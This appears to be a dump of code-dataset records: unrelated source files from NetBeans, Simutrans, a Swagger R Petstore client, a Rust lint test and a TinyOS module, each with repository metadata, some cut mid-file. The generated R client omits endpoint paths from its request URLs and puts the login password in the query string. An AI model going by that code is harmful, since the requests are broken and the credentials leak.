org.eclipse.mylyn.tasks.core.data.TaskData getTaskData() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds id,repositoryConnector,taskData,taskRepository CLSS public org.netbeans.modules.mylyn.util.MylynSupport meth public java.util.Collection<org.netbeans.modules.mylyn.util.NbTask> getTasks(org.eclipse.mylyn.tasks.core.IRepositoryQuery) throws org.eclipse.core.runtime.CoreException meth public java.util.Collection<org.netbeans.modules.mylyn.util.NbTask> getTasks(org.eclipse.mylyn.tasks.core.TaskRepository) throws org.eclipse.core.runtime.CoreException meth public java.util.Set<org.eclipse.mylyn.tasks.core.IRepositoryQuery> getRepositoryQueries(org.eclipse.mylyn.tasks.core.TaskRepository) throws org.eclipse.core.runtime.CoreException meth public java.util.Set<org.eclipse.mylyn.tasks.core.data.TaskAttribute> countDiff(org.eclipse.mylyn.tasks.core.data.TaskData,org.eclipse.mylyn.tasks.core.data.TaskData) meth public org.eclipse.mylyn.tasks.core.IRepositoryQuery createNewQuery(org.eclipse.mylyn.tasks.core.TaskRepository,java.lang.String) throws org.eclipse.core.runtime.CoreException meth public org.eclipse.mylyn.tasks.core.IRepositoryQuery getRepositoryQuery(org.eclipse.mylyn.tasks.core.TaskRepository,java.lang.String) throws org.eclipse.core.runtime.CoreException meth public org.eclipse.mylyn.tasks.core.TaskRepository getLocalTaskRepository() meth public org.eclipse.mylyn.tasks.core.TaskRepository getTaskRepository(org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector,java.lang.String) meth public org.netbeans.modules.mylyn.util.NbTask createSubtask(org.netbeans.modules.mylyn.util.NbTask) throws org.eclipse.core.runtime.CoreException meth public org.netbeans.modules.mylyn.util.NbTask createTask(org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.ITaskMapping) throws org.eclipse.core.runtime.CoreException meth public org.netbeans.modules.mylyn.util.NbTask getTask(java.lang.String,java.lang.String) throws org.eclipse.core.runtime.CoreException meth public org.netbeans.modules.mylyn.util.UnsubmittedTasksContainer getUnsubmittedTasksContainer(org.eclipse.mylyn.tasks.core.TaskRepository) throws org.eclipse.core.runtime.CoreException meth public org.netbeans.modules.mylyn.util.commands.CommandFactory getCommandFactory() throws org.eclipse.core.runtime.CoreException meth public static org.netbeans.modules.mylyn.util.MylynSupport getInstance() meth public void addQuery(org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.IRepositoryQuery) throws org.eclipse.core.runtime.CoreException meth public void addRepositoryListener(org.eclipse.mylyn.tasks.core.IRepositoryListener) meth public void addTaskDataListener(org.netbeans.modules.mylyn.util.TaskDataListener) meth public void deleteQuery(org.eclipse.mylyn.tasks.core.IRepositoryQuery) meth public void notifyCredentialsChanged(org.eclipse.mylyn.tasks.core.TaskRepository) meth public void removeTaskDataListener(org.netbeans.modules.mylyn.util.TaskDataListener) meth public void save() throws org.eclipse.core.runtime.CoreException meth public void setRepositoryUrl(org.eclipse.mylyn.tasks.core.TaskRepository,java.lang.String) throws org.eclipse.core.runtime.CoreException supr java.lang.Object hfds ATTR_TASK_INCOMING_NEW,BACKUP_SUFFIX,LOG,PROP_REPOSITORY_CREATION_TIME,RP,dirty,factory,instance,localTaskRepository,repositoryModel,result,saveTask,synchronizationManager,taskActivityManager,taskDataListeners,taskDataManager,taskDataManagerListener,taskList,taskListInitialized,taskListListener,taskListStorageFile,taskListWriter,taskListeners,taskPerList,taskRepositoryManager,taskRepositoryManagerListener,tasks,unsubmittedTaskContainers CLSS public org.netbeans.modules.mylyn.util.MylynUtils cons public init() meth public static org.eclipse.mylyn.tasks.core.TaskRepository createTaskRepository(java.lang.String,java.lang.String,java.lang.String,java.lang.String,char[],java.lang.String,char[]) meth public static void logCredentials(org.eclipse.mylyn.tasks.core.TaskRepository,java.lang.String,char[],java.lang.String) meth public static void logCredentials(org.eclipse.mylyn.tasks.core.TaskRepository,java.lang.String,java.lang.String,java.lang.String) meth public static void setCredentials(org.eclipse.mylyn.tasks.core.TaskRepository,java.lang.String,char[],java.lang.String,char[]) supr java.lang.Object hfds LOG CLSS public final org.netbeans.modules.mylyn.util.NbDateRange cons public init(java.util.Calendar) cons public init(java.util.Calendar,java.util.Calendar) cons public init(org.netbeans.modules.bugtracking.spi.IssueScheduleInfo) intf java.lang.Comparable<org.netbeans.modules.mylyn.util.NbDateRange> meth public boolean equals(java.lang.Object) meth public int compareTo(org.netbeans.modules.mylyn.util.NbDateRange) meth public int hashCode() meth public java.util.Calendar getEndDate() meth public java.util.Calendar getStartDate() meth public org.netbeans.modules.bugtracking.spi.IssueScheduleInfo toSchedulingInfo() supr java.lang.Object hfds delegate CLSS public final org.netbeans.modules.mylyn.util.NbTask innr public final static !enum SynchronizationState meth public boolean equals(java.lang.Object) meth public boolean isCompleted() meth public boolean isOutgoing() meth public final java.lang.String getPrivateNotes() meth public final java.util.Date getDueDate() meth public final org.netbeans.modules.mylyn.util.NbDateRange getScheduleDate() meth public final void setDueDate(java.util.Date) meth public final void setPrivateNotes(java.lang.String) meth public final void setScheduleDate(org.netbeans.modules.mylyn.util.NbDateRange) meth public int getEstimate() meth public int hashCode() meth public java.lang.String getAttribute(java.lang.String) meth public java.lang.String getRepositoryUrl() meth public java.lang.String getSummary() meth public java.lang.String getTaskId() meth public java.lang.String getTaskKey() meth public java.lang.String toString() meth public java.util.Date getCreationDate() meth public java.util.Date getModificationDate() meth public org.netbeans.modules.mylyn.util.NbTask$SynchronizationState getSynchronizationState() meth public org.netbeans.modules.mylyn.util.NbTaskDataModel getTaskDataModel() meth public org.netbeans.modules.mylyn.util.NbTaskDataState getTaskDataState() throws org.eclipse.core.runtime.CoreException meth public void addNbTaskListener(org.netbeans.modules.mylyn.util.NbTaskListener) meth public void delete() meth public void discardLocalEdits() throws org.eclipse.core.runtime.CoreException meth public void markSeen(boolean) meth public void removeNbTaskListener(org.netbeans.modules.mylyn.util.NbTaskListener) meth public void setAttribute(java.lang.String,java.lang.String) meth public void setEstimate(int) meth public void setSummary(java.lang.String) supr java.lang.Object hfds delegate,list,listeners,syncState hcls TaskListenerImpl CLSS public final static !enum org.netbeans.modules.mylyn.util.NbTask$SynchronizationState outer org.netbeans.modules.mylyn.util.NbTask fld public final static org.netbeans.modules.mylyn.util.NbTask$SynchronizationState CONFLICT fld public final static org.netbeans.modules.mylyn.util.NbTask$SynchronizationState INCOMING fld public final static org.netbeans.modules.mylyn.util.NbTask$SynchronizationState INCOMING_NEW fld public final static org.netbeans.modules.mylyn.util.NbTask$SynchronizationState OUTGOING fld public final static org.netbeans.modules.mylyn.util.NbTask$SynchronizationState OUTGOING_NEW fld public final static org.netbeans.modules.mylyn.util.NbTask$SynchronizationState SYNCHRONIZED meth public static org.netbeans.modules.mylyn.util.NbTask$SynchronizationState valueOf(java.lang.String) meth public static org.netbeans.modules.mylyn.util.NbTask$SynchronizationState[] values() supr java.lang.Enum<org.netbeans.modules.mylyn.util.NbTask$SynchronizationState> CLSS public final org.netbeans.modules.mylyn.util.NbTaskDataModel innr public abstract interface static NbTaskDataModelListener innr public final static NbTaskDataModelEvent meth public boolean hasBeenRead() meth public boolean hasIncomingChanges(org.eclipse.mylyn.tasks.core.data.TaskAttribute,boolean) meth public boolean hasOutgoingChanged() meth public boolean hasOutgoingChanges(org.eclipse.mylyn.tasks.core.data.TaskAttribute) meth public boolean isDirty() meth public java.util.Set<org.eclipse.mylyn.tasks.core.data.TaskAttribute> getChangedAttributes() meth public java.util.Set<org.eclipse.mylyn.tasks.core.data.TaskAttribute> getChangedOldAttributes() meth public org.eclipse.mylyn.tasks.core.TaskRepository getTaskRepository() meth public org.eclipse.mylyn.tasks.core.data.TaskData getLastReadTaskData() meth public org.eclipse.mylyn.tasks.core.data.TaskData getLocalTaskData() meth public org.eclipse.mylyn.tasks.core.data.TaskData getRepositoryTaskData() meth public org.netbeans.modules.mylyn.util.NbTask getTask() meth public void addNbTaskDataModelListener(org.netbeans.modules.mylyn.util.NbTaskDataModel$NbTaskDataModelListener) meth public void attributeChanged(org.eclipse.mylyn.tasks.core.data.TaskAttribute) meth public void clearUnsavedChanges() meth public void refresh() throws org.eclipse.core.runtime.CoreException meth public void removeNbTaskDataModelListener(org.netbeans.modules.mylyn.util.NbTaskDataModel$NbTaskDataModelListener) meth public void save() throws org.eclipse.core.runtime.CoreException meth public void save(org.eclipse.core.runtime.IProgressMonitor) throws org.eclipse.core.runtime.CoreException supr java.lang.Object hfds delegateModel,listeners,task,unsavedChangedAttributes,workingCopy CLSS public final static org.netbeans.modules.mylyn.util.NbTaskDataModel$NbTaskDataModelEvent outer org.netbeans.modules.mylyn.util.NbTaskDataModel meth public org.eclipse.mylyn.tasks.core.data.TaskAttribute getTaskAttribute() meth public org.netbeans.modules.mylyn.util.NbTaskDataModel getModel() supr java.util.EventObject hfds model,modelEvent CLSS public abstract interface static org.netbeans.modules.mylyn.util.NbTaskDataModel$NbTaskDataModelListener outer org.netbeans.modules.mylyn.util.NbTaskDataModel intf java.util.EventListener meth public abstract void attributeChanged(org.netbeans.modules.mylyn.util.NbTaskDataModel$NbTaskDataModelEvent) CLSS public final org.netbeans.modules.mylyn.util.NbTaskDataState meth public org.eclipse.mylyn.tasks.core.data.TaskData getLastReadData() meth public org.eclipse.mylyn.tasks.core.data.TaskData getLocalData() meth public org.eclipse.mylyn.tasks.core.data.TaskData getLocalEdits() meth public org.eclipse.mylyn.tasks.core.data.TaskData getRepositoryData() supr java.lang.Object hfds state CLSS public abstract interface org.netbeans.modules.mylyn.util.NbTaskListener innr public final static TaskEvent intf java.util.EventListener meth public abstract void taskModified(org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent) CLSS public final static org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent outer org.netbeans.modules.mylyn.util.NbTaskListener innr public final static !enum Kind meth public boolean taskStateChanged() meth public org.netbeans.modules.mylyn.util.NbTask getTask() meth public org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent$Kind getKind() supr java.util.EventObject hfds kind,stateChanged,task CLSS public final static !enum org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent$Kind outer org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent fld public final static org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent$Kind DELETED fld public final static org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent$Kind MODIFIED meth public static org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent$Kind valueOf(java.lang.String) meth public static org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent$Kind[] values() supr java.lang.Enum<org.netbeans.modules.mylyn.util.NbTaskListener$TaskEvent$Kind> CLSS public org.netbeans.modules.mylyn.util.PerformQueryCommand cons public init(org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector,org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.data.TaskDataCollector,org.eclipse.mylyn.tasks.core.IRepositoryQuery) meth public java.lang.String toString() meth public org.eclipse.core.runtime.IStatus getStatus() meth public org.eclipse.mylyn.tasks.core.IRepositoryQuery getQuery() meth public void execute() throws org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds collector,query,repositoryConnector,status,taskRepository CLSS public org.netbeans.modules.mylyn.util.PostAttachmentCommand cons public init(org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector,org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.ITask,org.eclipse.mylyn.tasks.core.data.TaskAttribute,org.eclipse.mylyn.tasks.core.data.AbstractTaskAttachmentSource,java.lang.String) meth public java.lang.String toString() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds attAttribute,comment,repositoryConnector,stringValue,task,taskAttachmentSource,taskRepository CLSS public abstract interface org.netbeans.modules.mylyn.util.RepositoryConnectorProvider meth public abstract org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector getConnector() CLSS public org.netbeans.modules.mylyn.util.SubmitCommand cons public init(org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector,org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.data.TaskData) meth public java.lang.String toString() meth public org.eclipse.mylyn.tasks.core.RepositoryResponse getRepositoryResponse() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds data,repositoryConnector,rr,stringValue,taskRepository,wasNew CLSS public abstract interface org.netbeans.modules.mylyn.util.TaskDataListener innr public final static TaskDataEvent intf java.util.EventListener meth public abstract void taskDataUpdated(org.netbeans.modules.mylyn.util.TaskDataListener$TaskDataEvent) CLSS public final static org.netbeans.modules.mylyn.util.TaskDataListener$TaskDataEvent outer org.netbeans.modules.mylyn.util.TaskDataListener meth public boolean getTaskDataUpdated() meth public org.eclipse.mylyn.tasks.core.data.TaskData getTaskData() meth public org.netbeans.modules.mylyn.util.NbTask getTask() supr java.util.EventObject hfds event CLSS public final org.netbeans.modules.mylyn.util.UnsubmittedTasksContainer fld public final static java.lang.String EVENT_ISSUES_CHANGED = "mylyn.unsubmitted_tasks.changed" meth public java.util.List<org.netbeans.modules.mylyn.util.NbTask> getTasks() meth public void addPropertyChangeListener(java.beans.PropertyChangeListener) meth public void removePropertyChangeListener(java.beans.PropertyChangeListener) supr java.lang.Object hfds LOG,list,repository,supp,support,taskList,tasks hcls TaskListListener CLSS public abstract org.netbeans.modules.mylyn.util.WikiPanel cons public init() meth public abstract java.lang.String getWikiFormatText() meth public abstract javax.swing.JLabel getWarningLabel() meth public abstract javax.swing.JTextPane getCodePane() meth public abstract javax.swing.JTextPane getPreviewPane() meth public abstract void appendCodeText(java.lang.String) meth public abstract void clear() meth public abstract void registerHighlights(javax.swing.JTextPane) meth public abstract void setWikiFormatText(java.lang.String) supr javax.swing.JPanel CLSS public org.netbeans.modules.mylyn.util.WikiUtils meth public static java.lang.String getHtmlFormatText(java.lang.String,java.lang.String) meth public static org.netbeans.modules.mylyn.util.WikiPanel getWikiPanel(java.lang.String,boolean,boolean) supr java.lang.Object hfds LOG CLSS public final org.netbeans.modules.mylyn.util.commands.CommandFactory meth public org.netbeans.modules.mylyn.util.commands.GetAttachmentCommand createGetAttachmentCommand(org.eclipse.mylyn.tasks.core.TaskRepository,org.netbeans.modules.mylyn.util.NbTask,org.eclipse.mylyn.tasks.core.data.TaskAttribute,java.io.OutputStream) meth public org.netbeans.modules.mylyn.util.commands.GetRepositoryTasksCommand createGetRepositoryTasksCommand(org.eclipse.mylyn.tasks.core.TaskRepository,java.util.Set<java.lang.String>) throws org.eclipse.core.runtime.CoreException meth public org.netbeans.modules.mylyn.util.commands.PostAttachmentCommand createPostAttachmentCommand(org.eclipse.mylyn.tasks.core.TaskRepository,org.netbeans.modules.mylyn.util.NbTask,org.eclipse.mylyn.tasks.core.data.TaskAttribute,org.eclipse.mylyn.internal.tasks.core.data.FileTaskAttachmentSource,java.lang.String) meth public org.netbeans.modules.mylyn.util.commands.SimpleQueryCommand createSimpleQueryCommand(org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.IRepositoryQuery) throws org.eclipse.core.runtime.CoreException meth public org.netbeans.modules.mylyn.util.commands.SubmitTaskCommand createSubmitTaskCommand(org.netbeans.modules.mylyn.util.NbTaskDataModel) throws org.eclipse.core.runtime.CoreException meth public org.netbeans.modules.mylyn.util.commands.SynchronizeQueryCommand createSynchronizeQueriesCommand(org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.IRepositoryQuery) meth public org.netbeans.modules.mylyn.util.commands.SynchronizeQueryCommand createSynchronizeQueriesCommand(org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.IRepositoryQuery,org.eclipse.core.runtime.IProgressMonitor) meth public org.netbeans.modules.mylyn.util.commands.SynchronizeTasksCommand createSynchronizeTasksCommand(org.eclipse.mylyn.tasks.core.TaskRepository,java.util.Set<org.netbeans.modules.mylyn.util.NbTask>) anno 0 java.lang.Deprecated() meth public org.netbeans.modules.mylyn.util.commands.SynchronizeTasksCommand createSynchronizeTasksCommand(org.eclipse.mylyn.tasks.core.TaskRepository,java.util.Set<org.netbeans.modules.mylyn.util.NbTask>,boolean) supr java.lang.Object hfds LOG,repositoryModel,taskDataManager,taskList,taskRepositoryManager CLSS public org.netbeans.modules.mylyn.util.commands.GetAttachmentCommand meth public java.lang.String toString() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds os,repositoryConnector,stringValue,ta,task,taskRepository CLSS public org.netbeans.modules.mylyn.util.commands.GetRepositoryTasksCommand meth public java.lang.String toString() meth public java.util.List<org.netbeans.modules.mylyn.util.NbTask> getTasks() meth public void cancel() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds connector,monitor,stringValue,taskDataManager,taskIds,taskRepository,tasks hcls Collector CLSS public org.netbeans.modules.mylyn.util.commands.PostAttachmentCommand meth public java.lang.String toString() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds attAttribute,comment,repositoryConnector,stringValue,task,taskAttachmentSource,taskRepository CLSS public org.netbeans.modules.mylyn.util.commands.SimpleQueryCommand meth public java.lang.String toString() meth public java.util.Collection<org.netbeans.modules.mylyn.util.NbTask> getTasks() meth public org.eclipse.core.runtime.IStatus getStatus() meth public void cancel() meth public void execute() throws org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds monitor,query,repositoryConnector,status,taskDataManager,taskRepository,tasks CLSS public org.netbeans.modules.mylyn.util.commands.SubmitTaskCommand meth public java.lang.String toString() meth public org.eclipse.mylyn.tasks.core.RepositoryResponse getRepositoryResponse() meth public org.netbeans.modules.mylyn.util.NbTask getSubmittedTask() meth public void cancel() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds changedOldAttributes,monitor,repositoryConnector,rr,stringValue,submitJobListener,submittedTask,task,taskData,taskDataManager,taskRepository hcls MylynSubmitTaskJob CLSS public org.netbeans.modules.mylyn.util.commands.SynchronizeQueryCommand innr public abstract interface static CommandProgressListener meth public java.lang.String toString() meth public org.eclipse.core.runtime.IStatus getStatus() meth public void addCommandProgressListener(org.netbeans.modules.mylyn.util.commands.SynchronizeQueryCommand$CommandProgressListener) meth public void cancel() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException meth public void removeCommandProgressListener(org.netbeans.modules.mylyn.util.commands.SynchronizeQueryCommand$CommandProgressListener) supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds listeners,monitor,query,repositoryConnector,repositoryModel,status,stringValue,taskDataManager,taskList,taskRepository CLSS public abstract interface static org.netbeans.modules.mylyn.util.commands.SynchronizeQueryCommand$CommandProgressListener outer org.netbeans.modules.mylyn.util.commands.SynchronizeQueryCommand intf java.util.EventListener meth public abstract void queryRefreshStarted(java.util.Collection<org.netbeans.modules.mylyn.util.NbTask>) meth public abstract void taskAdded(org.netbeans.modules.mylyn.util.NbTask) meth public abstract void taskRemoved(org.netbeans.modules.mylyn.util.NbTask) meth public abstract void taskSynchronized(org.netbeans.modules.mylyn.util.NbTask) meth public abstract void tasksRefreshStarted(java.util.Collection<org.netbeans.modules.mylyn.util.NbTask>) CLSS public org.netbeans.modules.mylyn.util.commands.SynchronizeTasksCommand meth public java.lang.String toString() meth public void cancel() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds monitor,repositoryConnector,repositoryModel,stringValue,taskDataManager,taskList,taskRepository,tasks,user CLSS public abstract org.netbeans.modules.mylyn.util.localtasks.AbstractLocalTask cons public init(org.netbeans.modules.mylyn.util.NbTask) meth public final boolean finish() meth public final boolean reopen() supr org.netbeans.modules.mylyn.util.AbstractNbTaskWrapper CLSS public final org.netbeans.modules.mylyn.util.localtasks.IssueField fld public final static org.netbeans.modules.mylyn.util.localtasks.IssueField ATTACHMENTS fld public final static org.netbeans.modules.mylyn.util.localtasks.IssueField REFERENCES fld public final static org.netbeans.modules.mylyn.util.localtasks.IssueField SUMMARY meth public java.lang.String getDisplayName() meth public java.lang.String getKey() supr java.lang.Object hfds displayNameKey,key
Standard ML
4
timfel/netbeans
ide/mylyn.util/nbproject/org-netbeans-modules-mylyn-util.sig
[ "Apache-2.0" ]
class freight_station_t { factory = null // factory_x road_depot = null // tile_x road_unload = null // tile_x ship_depot = null // tile_x constructor(f) { factory = f } function _save() { return ::saveinstance("freight_station_t", this) } } class freight_station_manager_t extends node_t { freight_station_list = null use_raw_names = 0 /// repair old savegames: use untranslated factory name as key constructor(urn) { base.constructor("freight_station_manager_t") freight_station_list = {} ::station_manager = this use_raw_names = urn } /// Generate unique key from link data static function key(factory) { return (factory.get_raw_name() + coord_to_string(factory)).toalnum() } /** * Access freight_station_t data, create node if not existent. */ function access_freight_station(factory) { local k = key(factory) local res try { res = freight_station_list[k] } catch(ev) { local fs = freight_station_t(factory) freight_station_list[k] <- fs res = fs } return res } /// Repair list: use untranslated factory names function repair_keys() { if (use_raw_names == 1) { return } local fsl = {} foreach(val in freight_station_list) { local rkey = key(val.factory) fsl[rkey] <- val } freight_station_list = fsl use_raw_names = 1 } }
Squirrel
4
Andarix/simutrans_nightly
simutrans/ai/sqai/station_manager.nut
[ "Artistic-1.0" ]
# Swagger Petstore # # This is a sample server Petstore server. You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters. # # OpenAPI spec version: 1.0.0 # Contact: [email protected] # Generated by: https://github.com/swagger-api/swagger-codegen.git UserApi <- R6::R6Class( 'UserApi', public = list( userAgent = "Swagger-Codegen/1.0.0/r", basePath = "http://petstore.swagger.io/v2", initialize = function(basePath){ if (!missing(basePath)) { stopifnot(is.character(basePath), length(basePath) == 1) self$basePath <- basePath } }, create_user = function(body){ resp <- httr::POST(paste0(self$basePath), httr::add_headers("User-Agent" = self$userAgent, "content-type" = "application/xml") ,body = body$toJSON() ) if (httr::status_code(resp) >= 200 && httr::status_code(resp) <= 299) { # void response, no need to return anything } else if (httr::status_code(resp) >= 400 && httr::status_code(resp) <= 499){ Response$new("API client error", resp) } else if (httr::status_code(resp) >= 500 && httr::status_code(resp) <= 599){ Response$new("API server error", resp) } }, create_users_with_array_input = function(body){ resp <- httr::POST(paste0(self$basePath), httr::add_headers("User-Agent" = self$userAgent, "content-type" = "application/xml") ,body = body$toJSON() ) if (httr::status_code(resp) >= 200 && httr::status_code(resp) <= 299) { # void response, no need to return anything } else if (httr::status_code(resp) >= 400 && httr::status_code(resp) <= 499){ Response$new("API client error", resp) } else if (httr::status_code(resp) >= 500 && httr::status_code(resp) <= 599){ Response$new("API server error", resp) } }, create_users_with_list_input = function(body){ resp <- httr::POST(paste0(self$basePath), httr::add_headers("User-Agent" = self$userAgent, "content-type" = "application/xml") ,body = body$toJSON() ) if (httr::status_code(resp) >= 200 && httr::status_code(resp) <= 299) { # void response, no need to return anything } else if (httr::status_code(resp) >= 400 && httr::status_code(resp) <= 499){ Response$new("API client error", resp) } else if (httr::status_code(resp) >= 500 && httr::status_code(resp) <= 599){ Response$new("API server error", resp) } }, delete_user = function(username){ resp <- httr::DELETE(paste0(self$basePath, username), httr::add_headers("User-Agent" = self$userAgent, "content-type" = "application/xml") ) if (httr::status_code(resp) >= 200 && httr::status_code(resp) <= 299) { # void response, no need to return anything } else if (httr::status_code(resp) >= 400 && httr::status_code(resp) <= 499){ Response$new("API client error", resp) } else if (httr::status_code(resp) >= 500 && httr::status_code(resp) <= 599){ Response$new("API server error", resp) } }, get_user_by_name = function(username){ resp <- httr::GET(paste0(self$basePath, username), httr::add_headers("User-Agent" = self$userAgent, "content-type" = "application/xml") ) if (httr::status_code(resp) >= 200 && httr::status_code(resp) <= 299) { result <- User$new()$fromJSON(httr::content(resp, "text", encoding = "UTF-8"), simplifyVector = FALSE) Response$new(result, resp) } else if (httr::status_code(resp) >= 400 && httr::status_code(resp) <= 499){ Response$new("API client error", resp) } else if (httr::status_code(resp) >= 500 && httr::status_code(resp) <= 599){ Response$new("API server error", resp) } }, login_user = function(username, password){ resp <- httr::GET(paste0(self$basePath), httr::add_headers("User-Agent" = self$userAgent, "content-type" = "application/xml") ,query = list( "username" = username, "password" = password ) ) if (httr::status_code(resp) >= 200 && httr::status_code(resp) <= 299) { result <- Character$new()$fromJSON(httr::content(resp, "text", encoding = "UTF-8"), simplifyVector = FALSE) Response$new(result, resp) } else if (httr::status_code(resp) >= 400 && httr::status_code(resp) <= 499){ Response$new("API client error", resp) } else if (httr::status_code(resp) >= 500 && httr::status_code(resp) <= 599){ Response$new("API server error", resp) } }, logout_user = function(){ resp <- httr::GET(paste0(self$basePath), httr::add_headers("User-Agent" = self$userAgent, "content-type" = "application/xml") ) if (httr::status_code(resp) >= 200 && httr::status_code(resp) <= 299) { # void response, no need to return anything } else if (httr::status_code(resp) >= 400 && httr::status_code(resp) <= 499){ Response$new("API client error", resp) } else if (httr::status_code(resp) >= 500 && httr::status_code(resp) <= 599){ Response$new("API server error", resp) } }, update_user = function(username, body){ resp <- httr::PUT(paste0(self$basePath, username), httr::add_headers("User-Agent" = self$userAgent, "content-type" = "application/xml") ,body = body$toJSON() ) if (httr::status_code(resp) >= 200 && httr::status_code(resp) <= 299) { # void response, no need to return anything } else if (httr::status_code(resp) >= 400 && httr::status_code(resp) <= 499){ Response$new("API client error", resp) } else if (httr::status_code(resp) >= 500 && httr::status_code(resp) <= 599){ Response$new("API server error", resp) } } ) )
R
4
derBiggi/swagger-codegen
samples/client/petstore/R/R/UserApi.r
[ "Apache-2.0" ]
#![allow(unused_variables)] #![allow(non_camel_case_types)] #![deny(dead_code)] struct Foo { x: usize, b: bool, //~ ERROR: field is never read } fn field_read(f: Foo) -> usize { f.x.pow(2) } enum XYZ { X, //~ ERROR variant is never constructed Y { //~ ERROR variant is never constructed a: String, b: i32, c: i32, }, Z } enum ABC { //~ ERROR enum is never used A, B { a: String, b: i32, c: i32, }, C } // ensure struct variants get warning for their fields enum IJK { I, //~ ERROR variant is never constructed J { a: String, b: i32, //~ ERROR field is never read c: i32, //~ ERROR field is never read }, K //~ ERROR variant is never constructed } fn struct_variant_partial_use(b: IJK) -> String { match b { IJK::J { a, b: _, .. } => a, _ => "".to_string() } } fn field_match_in_patterns(b: XYZ) -> String { match b { XYZ::Y { a, b: _, .. } => a, _ => "".to_string() } } struct Bar { x: usize, //~ ERROR: field is never read b: bool, c: bool, //~ ERROR: field is never read _guard: () } #[repr(C)] struct Baz { x: u32, } fn field_match_in_let(f: Bar) -> bool { let Bar { b, c: _, .. } = f; b } fn main() { field_read(Foo { x: 1, b: false }); field_match_in_patterns(XYZ::Z); struct_variant_partial_use(IJK::J { a: "".into(), b: 1, c: -1 }); field_match_in_let(Bar { x: 42, b: true, c: false, _guard: () }); let _ = Baz { x: 0 }; }
Rust
4
Eric-Arellano/rust
src/test/ui/lint/dead-code/lint-dead-code-4.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
/* * Copyright (c) 2004, Technische Universitat Berlin * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * - Neither the name of the Technische Universitat Berlin nor the names * of its contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * - Revision ------------------------------------------------------------- * $Revision: 1.4 $ * $Date: 2006-12-12 18:23:13 $ * ======================================================================== */ /** * HplTda5250DataP module * * @author Philipp Hupertz ([email protected]) * @author Kevin Klues ([email protected]) */ module HplTda5250DataP { provides { interface Init; interface HplTda5250Data; interface HplTda5250DataControl; interface Resource; interface ResourceRequested; } uses { interface GeneralIO as DATA; interface UartStream as Uart; interface HplTda5250DataControl as UartDataControl; interface Resource as UartResource; interface ResourceRequested as UartResourceRequested; } } implementation { /** * Initializes the Radio, setting up all Pin configurations * to the MicroProcessor that is driving it * * @return always returns SUCCESS */ command error_t Init.init() { call DATA.makeOutput(); call DATA.clr(); //Make Rx default call DATA.makeInput(); return SUCCESS; } async command error_t 